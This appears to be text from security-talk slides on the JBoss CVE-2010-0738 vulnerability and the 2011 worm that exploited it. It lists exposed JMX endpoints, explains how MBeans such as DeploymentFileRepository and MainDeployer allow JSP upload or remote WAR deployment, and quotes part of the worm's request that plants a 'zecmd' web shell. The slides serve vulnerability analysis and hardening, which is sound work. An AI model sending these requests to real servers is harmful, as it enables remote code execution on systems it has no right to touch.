From Cve-2010-0738 To The Recent Jboss Worm
From Cve-2010-0738 To The Recent Jboss Worm
http://www.europe.redhat.com/products/jboss/community-enterprise/
Hardening is hard
(1) Multiple interfaces
http://en.wikipedia.org/wiki/Java_Management_Extensions
Hardening is hard
(2) Confusing acronyms
⌘ MBEANS vs BEANS?
⌘ JMX?
⌘ JNDI?
⌘ EJB?
⌘ Hardening is usually done by a sysadmin.
Note that these are mainly application terms
⌘ In term of:
• security posture
• configuration files location
• available MBeans
• ...
Let’s get technical
⌘ $ jconsole
⌘ Useful for
analyzing memory
usage, threads,
loaded classes,
garbage collector,
MBeans
RMI, JNDI
An important distinction:
⌘ Adaptor
• translates requests between a given protocol (e.g. HTTP,
RMI) and a specific JMX functionality
⌘ Invoker
• invokes the proper MBean service based on the actual JMX
request
• Basically, an “invocation object proxy”
Exploiting a misconfigured JBoss
⌘ A two-steps process:
⌘ HTTP/HTTPS Endpoints:
• /status
• /jmx-console/HtmlAdaptor
• /web-console/Invoker
• /invoker/JMXInvokerServlet
⌘ RMI Endpoint
• 4444/tcp (legacy 4.0.x invoker)
⌘ org.jboss.console.manager.DeploymentFileRepository
• DeploymentFileRepository
• Upload of a JSP file with arbitrary content
⌘ org.jboss.mx.modelmbean.XMBean
• MainDeployer
• Deploy a WAR from a remote location
Step 2 - Invoke a “useful” MBean
⌘ org.jboss.varia.deployment.BeanShellSubDeployer
• BSHDeployer
• Execute Java Scripting language
⌘Examples
org.jboss.deployment.scanner.URLDeploymentScanner
• DeploymentScanner
• Runtime deployment of remote WARs
Combining doors and MBeans
⌘ “org.jboss.invocation.MarshalledInvocation”
is a serializable Java object containing the
specific MBean invocation
• object’s name (identified by a unique hash)
• method’s name
• method’s arguments
⌘ It extends “org.jboss.invocation.Invocation”
• http://docs.jboss.org/jbossas/javadoc/4.0.2/org/jboss/
invocation/MarshalledInvocation.java.html
⌘ “org.jboss.invocation.http.servlet.InvokerServlet”
implements the receiving servlet
• accepts HTTP POST requests containing a MarshalledInvocation
• deserializes the invocation object
• routes the invocation via JMX to the MBean whose object name
hash is specified by the invocation.getObjectName()
⌘ It extends “javax.servlet.http.HttpServlet”
⌘ The “hash function” is derived from RMI
Exploit code snapshot
⌘ E.g.
jboss.jmx:name=Invoker --> 647347722 //Weaponized against JBoss 4.0.3SP1
Exploitability and limitations 1/2
Q: Is my server vulnerable?
A: First, does your server expose
“http://<target>:8080/invoker/JMXInvokerServlet “ ?
⌘ Vulnerable version
<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
From the exploit to the worm
⌘ Linda.pl
• $zecmd = "HEAD /jmx-console/HtmlAdaptor?
action=invokeOpByName& name=jboss.admin
%3Aservice
%3DDeploymentFileRepository&methodName=store&ar
gType=java.lang.String&
arg0=zecmd.war&argType=java.lang.String&arg1=zecm
d&argType=java.lang.String&arg2=.jsp&
argType=java.lang.String&arg3=%3c
%25%40%20%70%61%67%65%20%69%6d%70%6f
%72%74%3d%22%6a%61%76%61%2e%75
%74%69%6c%2e%2a%2c%6a%61%76%61%2e
{PAYLOAD}
Payload
⌘ Timeline:
• April 2010 - CVE-2010-0738 was patched
• 20 October 2011 – Initial infections and RH official statement